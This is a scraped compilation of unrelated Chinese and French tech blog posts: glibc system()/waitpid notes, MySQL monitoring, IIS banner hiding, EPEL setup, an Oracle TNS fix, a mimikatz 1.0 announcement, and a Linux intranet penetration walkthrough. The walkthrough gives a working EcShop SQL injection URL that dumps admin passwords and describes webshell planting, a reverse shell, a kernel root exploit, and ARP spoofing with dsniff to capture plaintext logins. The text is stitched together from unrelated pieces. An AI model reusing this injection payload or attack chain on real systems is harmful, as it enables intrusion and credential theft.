system函数原型

116 #ifdef FORK
117  pid = FORK ();
118 #else
119  pid = __fork ();
120 #endif
121  if(pid == (pid_t) 0)
122    {
123      /** Child side.  */
124      constchar*new_argv[4];
125      new_argv[0] = SHELL_NAME;
126      new_argv[1] = "-c";
127      new_argv[2] = line;
128      new_argv[3] = NULL;
129
130      /** Restore the signals.  */
131      (void) __sigaction (SIGINT, &intr, (structsigaction *) NULL);
132      (void) __sigaction (SIGQUIT, &quit, (structsigaction *) NULL);
133      (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
134      INIT_LOCK ();
135
136      /** Exec the shell.  */
137      (void) __execve (SHELL_PATH, (char*const*) new_argv, __environ);  //exec被代替改程序,如果失败的话,就是执行下一条
138      _exit (127);  //直接进入内核中断,返回127.
139    }
140  elseif(pid < (pid_t) 0)
141    /** The fork failed.  */
142    status = -1;
143  else
144    /** Parent side.  */
145    {
146      /** Note the system() is a cancellation point.  But since we call
147     waitpid() which itself is a cancellation point we do not
148     have to do anything here.  */
149      if(TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid)
150    status = -1;
151    }

函数说明 waitpid()

waitpid(等待子进程中断或结束) 

 
相关函数  wait,fork
  
表头文件  #include<sys/types.h>
#include<sys/wait.h>
  
定义函数  pid_t waitpid(pid_t pid,int* status,int options);
  
函数说明  waitpid()
会暂时停止目前进程的执行,直到有信号来到或子进程结束。如果在调用wait()
时子进程已经结束,则wait()
会立即返回子进程结束状态值。子进程的结束状态值会由参数status
返回,而子进程的进程识别码也会一快返回。如果不在意结束状态值,则参数status
可以设成NULL。参数pid为欲等待的子进程识别码,其他数值意义如下:
pid<-1 等待进程组识别码为pid绝对值的任何子进程。
pid=-1 等待任何子进程,相当于wait()。
pid=0 等待进程组识别码与目前进程相同的任何子进程。
pid>0 等待任何子进程识别码为pid的子进程。
参数option可以为0 或下面的OR 组合
WNOHANG 如果没有任何已经结束的子进程则马上返回,不予以等待。
WUNTRACED 如果子进程进入暂停执行情况则马上返回,但结束状态不予以理会。
子进程的结束状态返回后存于status,底下有几个宏可判别结束情况
WIFEXITED(status)如果子进程正常结束则为非0值。
WEXITSTATUS(status)取得子进程exit()返回的结束代码,一般会先用WIFEXITED  
来判断是否正常结束才能使用此宏。
WIFSIGNALED(status)如果子进程是因为信号而结束则此宏值为真
WTERMSIG(status)取得子进程因信号而中止的信号代码,一般会先用WIFSIGNALED  
来判断后才使用此宏。
WIFSTOPPED(status)如果子进程处于暂停执行情况则此宏值为真。一般只有使用
WUNTRACED 时才会有此情况。
WSTOPSIG(status)取得引发子进程暂停的信号代码,一般会先用WIFSTOPPED  
来判断后才使用此宏。
  
返回值  如果执行成功则返回子进程识别码(PID),如果有错误发生则返回-1
。失败原因存于errno中。


MySQL性能监控小知识

MySQL性能监控小知识

一,获取mysql用户下的进程总数

ps -ef | awk '{print $1}' | grep "mysql" | grep -v "grep" | wc-1

二,主机性能状态

# uptime
[root@ ~]# uptime
13:05:52 up 53 days, 52 min,  1 user,  load average: 0.00, 0.00, 0.00

三,CPU使用率

# top

# vmstat

四,磁盘IO量

# vmstat 或 # iostat
五,swap进出量[内存]

# free
六,数据库性能状态
(1)QPS(每秒Query量)
QPS = Questions(or Queries) / seconds
mysql > show /*50000 global */ status like 'Question';

(2)TPS(每秒事务量)
TPS = (Com_commit + Com_rollback) / seconds
mysql > show status like 'Com_commit';
mysql > show status like 'Com_rollback';

(3)key Buffer 命中率
key_buffer_read_hits = (1-key_reads / key_read_requests) * 100%
key_buffer_write_hits = (1-key_writes / key_write_requests) * 100%

mysql> show status like 'Key%';

(4)InnoDB Buffer命中率
innodb_buffer_read_hits = (1 - innodb_buffer_pool_reads / innodb_buffer_pool_read_requests) * 100%

mysql> show status like 'innodb_buffer_pool_read%';

(5)Query Cache命中率
Query_cache_hits = (Qcahce_hits / (Qcache_hits + Qcache_inserts )) * 100%;

mysql> show status like 'Qcache%';
(6)Table Cache状态量
mysql> show status like 'open%';

(7)Thread Cache 命中率
Thread_cache_hits = (1 - Threads_created / connections ) * 100%

mysql> show status like 'Thread%';

mysql> show status like 'Connections';

(锁定状态
mysql> show status like '%lock%';

(9)复制延时量
mysql > show slave status

(10) Tmp Table 状况(临时表状况)
mysql > show status like 'Create_tmp%';
(11) Binlog Cache 使用状况
mysql > show status like 'Binlog_cache%';

(12) Innodb_log_waits 量
mysql > show status like 'innodb_log_waits';

开源监控软件
一,RRDTool
二,Nagios
三,MRTG
四,Cacti

修改IIS6.0Banner信息

在做安全检测的时候,我们一般都会利用Nmap等扫描器对目标站进行扫描,以获取信息,方便入侵。作为站长的我们可以利用一点小技巧来屏蔽服务器的返回信息,达到隐藏敏感信息的目的。这里介绍一下如何修改IIS6.0的banner信息。网上收集的方法,已经测试过可行。

1、win2003有系统文件保护,在c:windowssystem32dllcache里删除w3core.dll或者同时替换这里的w3core.dll

2、用Uedit32打开c:windowssystem32inetsrvw3core.dll。

3、直接搜索关键字6.0要勾选ascii

4、搜索到了直接改,随你怎么改。我就改成8.0

5、停止IIS Admin Service服务,再保存对w3core.dll的修改。如果还是保存不了,就用attrib -R修改它的属性。还不行你就另存为其他名字,然后想办法删了原w3core.dll,之后再将新文件换成该名字即可。

6、启动IIS Admin Service服务,然后对该服务再重启次,不行就重启系统。

IIS8.0?win8?蛋疼了吧。

原文地址:http://www.2cto.com/Article/201111/110201.html

Linux下渗透嗅探术

作者: BEACH JJ

内网渗透在攻击层面,其实更趋向于社工和常规漏洞检测的结合,为了了解网内防护措施的设置是通过一步步的刺探和经验积累,有时判断出错,也能进入误区。但是如果能在网内进行嗅探,则能事半功倍,处于一个对网内设置完全透明的状态。本文将从一个注点引发的突破,到控制整个内网的全过程来跟大家讨论,内网的渗透嗅探术和安全防护一些内容。

在寻找突破时,更多的是从应用服务来,而应用服务最直观的信息采集,就是端口扫描,不同的应用,开放的服务不一样。所以,在对网络进行信息收集时,大概分为这样两步: 端口探测,程序指纹分析。在端口探测方面,个人喜欢用SuperScan来快速对网段里的应用进行判断

在掌握端口信息后,就要对服务应用程序的指纹进行分析,主要包括版本号、已知的漏洞信息、常规配置信息、针对此应用流行的攻击方法等。本文试着对网内一台提供WEB服务的主机作为突破口,提交一个畸形的请求,如图:


从上图可以读取以下信息:
系统类型:Fedora
应用程序:apache/2.2.4
以上只是很简单的手工对程序指纹进行分析,当然在针对web应用的扫描器,还有很多,比较常用的wvs、appscan等。用轻量级的”wwwwscan”来扫描


由扫描的结果可以看到,与手工探测的结果是一致的。

通上面简单的信息收集后,可以了解到网站架构是apache+mysql+php,直接请求URL:http://61.67.xx.116/htdocs/


发现此站是EcShop架构的站点,其使用的版本信息是V2.5.0。EcShop的版本是存在许多的注入点的。其中user.php文件有个注入漏洞,直接请求URL如下:
http://61.67.xx.116/htdocs/user.php?act=order_query&order_sn=’ union select 1,2,3,4,5,6,concat(user_name,0×7c,password,0×7c,email),8 from ecs_admin_user/*


获取管理员帐号和密码,ECShop使用的是MD5加密,直接解密。原来密码是admin,有点意料之外。访问管理后台,修改模版处,插入一句木马,即可得到WEBSEHLL,如图:


在获取WEBshell权限后,就需要对系统进行分析,查找Exp了。执行命令如下:
#uname –a

返回的信息是“Linux fedora 2.6.20-1.2962.fc6 ”,Linux内核是2.6.20的。
在提权时,要用到gcc进行编译,刺探一下系统有没有安装,执行命令,
#gcc –help

发现可以运行gcc,并且系统管理员没对使用shell和gcc进行限制,在也是个安全缺失。

在寻找本地提权利用程序时,通常是根据系统版本来进行,应用程序的本地提权也是一样的。在网上就有可供查询的网站,比如http://www.milw0rm.com/网站如图


发现可利用的漏洞还真不少。

本地提权是需要个交互式的shell的。在本机监听端口如下:

利用WebShell自带的反弹功能直接连接本地的12345端口并返回shell

连接成功后,就能得到一个apache用户的shell
,但有时如果不能交互时,可以直接执行,
# python –c ‘impotr pty;pty.spawn(“/bin/sh”);’
来得到交互的Shell,一般的系统都默认安装python

提示成功了,可以新建个目录用来存放提权的工具。


在Linux提权大致可分为,第三方软件漏洞、本地信任特性、内核溢出等,比较常用的溢出率高的,当属内核了。用Wget下载溢出源码,用到的漏洞是Linux vmsplice Local Root Exploit
,成功率蛮高的,gcc编译,执行,


成功获取root权限,在选择溢出利用程序时,有时需要进行多次测试。

什么是Sniffer,sniffer是利用截获目的的计算机通信,通过分析截获的数据,提取敏感信息的工具。但其通过什么方法来截获数据呢?在此之前得解释一下arp(Address Rrsolution Protocol)协议,即地址解析协议,它位于TCP/IP协议栈中的低层协议,负责将某个IP地址解析成对应的MAC地址。它靠维持在内存中保存的一张表来使IP得以在网络上被目标机器应答。在数据传送时,IP包里就有源IP地址、源MAC地址、目标IP地址,如果在ARP表中有相对应的MAC地点,那么根据最优选择法,直接访问,如果,没有对应的地址,就要广播出去,在网内寻找对应的地址,如果对方的IP地址和发出的目标IP地址相同,那么对方会发送MAC地址给源主机,,而此时,如果攻击者也接听到发送的IP地址,它就会仿冒目标主机的IP地址,然后返回自己的主机的MAC地址给源主机,因为源主机发送的IP包没有包括目标主机的MAC地址,而ARP表里面又没有目标IP和目标MAC地址的对应表,就会接受攻击者的MAC而选择与其通信,所以就此产生了ARP欺骗。在系统刚启动时,可以在DOS下输入命令“arp -a”来查看本机arp缓存表的内容


我们来与IP192.168.0.5进行通信,通信后arp缓存表就会有这样一条MAC地址和IP对应的记录


在本机多了条缓存中的IP和MAC的对应纪录。

Dsniff是一个著名的网络嗅探工具包,其开发者是Dug Song,其开发的本意是用来揭示网络通信的不安全性,方便网络管理员对自己网络的审计,当然也包括渗透测试,其安装包里某此工具,充分揭示了协议的不安全性。作为一个工具集,Dsniff包括的工具大致分为四类:
一、 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnaf、msgsnarf、urlsnarf、webspy
二、 针对SSH和SSL的MITM“攻击”工具,包括sshmitm和webmitm
三、 发起主动欺骗的工具,包括:arpspoof、dnsspof、macof
四、 其它工具,包括tcpkill、tcpnice

Dsniff的官方下载:www.monkey.org/~dugsong/dsniff/ 这个是源码包,解压后可以看下README,提示需要五个软件的支持:openssl、Berkeley_db、libnet、libpca、libnids
下载地址如下:
Berkeley_db: http://www.oracle.com/technology ... keley-db/index.html
libpcap: http://www.tcpdump.org/release/libpcap-1.0.0.tar.gz



系统一般默认都有安装openssl、libpcap。

  1. 一、 Tar包安装
  2. 如果下载的是源包,文件如下:openssl-0.9.7i.tar.gz、libnids-1.18.tar.gz、libpcap-0.7.2.tar.gz、libnet-1.0.2a.tar.gz、Berkeley db-4.7.25.tar.gz
  3. a) 安装openssl
  4. 用tar解压软件包手,执行三条命令
  5. #./config
  6. #make
  7. #make install
  8. b) 安装libpcap
  9. #./config
  10. #make
  11. #make install
  12. c) 安装libnet
  13. #./config
  14. #make
  15. #make install
  16. d) 安装libnids
  17. #./config
  18. #make
  19. #make install
  20. e) 安装libnids
  21. #./config
  22. #make
  23. #make install
  24. f) 安装Berkeley DB
  25. #.cd build_unix
  26. #../dist/configure
  27. #make
  28. #make install
  29. g) 安装dsniff
  30. #./configure
  31. #make
  32. #make install
  33. 程序安装好后,先查看一下网卡信息,然后开启服务器IP转发,命令如下:
  34. # echo "1" &gt; /proc/sys/net/ipv4/ip_forward
复制代码

先来双向欺骗,用到arpspoof,其命令是:
#arp –t 网关 欺骗主机IP

arpspoof已经开始工作了,可以用tcpdump查看一下被攻击主机是否有数据经过
命令如下:
#tcpdump –I eth0 host 61.67.x.115



有数据交换,说明欺骗的比较成功,然后用Dsniff开始嗅探目标主机,命令如下:
#Dsniff –c –f /etc/dsniff/dsniff.services
这个dsniff.services自然就是保存端口和服务对应关系的文件,如需要保存到文件,需加-w filename数据全是明文传送的。所以数据分析完全能用肉眼发现

从这条数据可以看到HTTP登录和FTP登录信息,帐号和密码全是明文的。而经过测试,通过FTP上传的目录正是WEB目录,获取WEBShell权限,继续提权即可控制主机。Linux下的嗅探,其实更容易一些,在最近爆出的高危本地提权,不知道有多少台主机沦陷呢?在攻与防的游戏里,系统管理员往往显得如此的无助。

安装epel

原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://tonychiu.blog.51cto.com/656605/696442

什么是epel

如果既想获得 RHEL 的高质量、高性能、高可靠性,又需要方便易用(关键是免费)的软件包更新功能,那么 Fedora Project 推出的 EPEL(Extra Packages for Enterprise Linux)正好适合你。EPEL(http://fedoraproject.org/wiki/EPEL) 是由 Fedora 社区打造,为 RHEL 及衍生发行版如 CentOS、Scientific Linux 等提供高质量软件包的项目。

安装http://mirrors.sohu.com/fedora-epel/6/x86_64/epel-release-6-5.noarch.rpm

[root@centos6 ~]# ll /etc/yum.repos.d/
total 20
-rw-r–r–. 1 root root 1926 Jul&nbsp; 3 10:16 CentOS-Base.repo
-rw-r–r–. 1 root root&nbsp; 637 Jul&nbsp; 3 10:16 CentOS-Debuginfo.repo
-rw-r–r–. 1 root root&nbsp; 624 Oct 24 13:06 CentOS-Media.repo
-rw-r–r–. 1 root root&nbsp; 957 Oct 12&nbsp; 2010 epel.repo
-rw-r–r–. 1 root root 1056 Oct 12&nbsp; 2010 epel-testing.repo
&nbsp;

查看epel.repo内容如下

[epel]
name=Extra Packages for Enterprise Linux 6 - $basearch
#baseurl=http://download.fedoraproject.org/pub/epel/6/$basearch
mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-6&arch=$basearch
failovermethod=priority
enabled=1
gpgcheck=1
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6

[epel-debuginfo]
name=Extra Packages for Enterprise Linux 6 - $basearch - Debug
#baseurl=http://download.fedoraproject.org/pub/epel/6/$basearch/debug
mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-6&arch=$ba&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; search
failovermethod=priority
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
gpgcheck=1

[epel-source]
name=Extra Packages for Enterprise Linux 6 - $basearch - Source
#baseurl=http://download.fedoraproject.org/pub/epel/6/SRPMS
mirrorlist=https://mirrors.fedoraproject.org/metalink?repo=epel-source-6&arch=$b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; asearch
failovermethod=priority
enabled=0
gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
gpgcheck=1

&nbsp;

为什么要配置epel源呢

&nbsp;

因为rhel6里很多开发包没有在iso里,在epel的源里!rhel6 是建立在fedra 12上的

感谢kevin的提醒

本文出自 “no brothers,no linux” 博客,请务必保留此出处http://tonychiu.blog.51cto.com/656605/696442

mimikatz 1.0

mimikatzmimikatz 1.0 vient de sortir en version alpha !

Cette nouvelle version n’est pas une révolution de &#171;&nbsp;l’ancien&nbsp;&#187; mimikatz 0.x, mais une rationalisation du fonctionnement de ce dernier (elle m’apporte surtout beaucoup plus de souplesse lors de son écriture en C/C++)

Modules

mimikatz est maintenant organisé autours de modules locaux :

  • "standard" ; commandes de base
  • crypto ; Cryptographie et certificats
  • system ; Gestion système
  • process ; Manipulation des processus
  • thread ; Manipulation des threads
  • service ; Manipulation des services
  • privilege ; Manipulation des privilèges
  • winmine; Manipulation du démineur de Windows XP (démonstration)
  • nogpo ; Pour éviter quelques GPO triviales
  • samdump ; Dump de SAM offline
  • inject ; Injecteur de librairies
  • ts ; Manipulations Terminal Server
  • divers ; Fonctions diverses trop petites pour s’émanciper

A part pour le module &#171;&nbsp;standard&nbsp;&#187;, la séparation du module et de la fonction appelée se fait avec le séparateur ::
Exemple : inject::process lsass.exe sekurlsa.dll

Librairies

Ce n’est pas forcément le plus discret, mais j’aime injecter des librairies

  • sekurlsa ; manipulation des données de sécurités dans LSASS
  • klock ; manipulation de bureaux
  • kelloworld ; libraire à injecter, pour l’exemple
Pilote

&#202;tre administrateur n’est pas toujours suffisant, il peut aussi être intéressant de disposer d’un point d’entrée en mode utilisateur.
Un pilote, mimikatz.sys est donc disponible.

Les commandes distantes peuvent être appelées en les précédants d’un :

oracle TNS:无法解析指定的连接标识符!!

用sqlplus 连接数据库,提示这个错误。

原因两个问题

 

1. sid问题,sid最多为8位。

2.tns 是否监听

 

可以看一下这个文件

network/admin/tnsnames.ora

例如;

ORCL =
  (DESCRIPTION =
    (ADDRESS = (PROTOCOL = TCP)(HOST = 19f9014c5ca444d)(PORT = 1521))
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )


这里面写的清清楚楚。再netstat -an 一下看看端口。相信你懂的。